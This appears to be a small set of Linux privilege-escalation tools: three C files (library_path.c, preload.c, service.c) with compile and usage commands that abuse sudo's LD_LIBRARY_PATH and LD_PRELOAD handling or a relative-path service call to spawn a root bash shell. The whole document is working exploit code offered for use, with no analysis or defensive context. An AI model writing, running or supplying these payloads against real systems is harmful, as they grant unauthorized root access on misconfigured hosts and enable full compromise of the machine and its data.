A Hijack module to cheat LD_stuff

library_path.c

/*
Compile with gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
Use with sudo LD_LIBRARY_PATH=/tmp apache2
When compiling, find any dependency of target binary and compile with the same name
*/

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

preload.c

/*
Compile with gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
Use with sudo LD_PRELOAD=/tmp/preload.so program-name-here
*/

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

service.c

// A simple service which can replace a service command being called without full path
// Compile with gcc -o service /home/user/tools/suid/service.c

int main() {
        setuid(0);
        system("/bin/bash -p");
}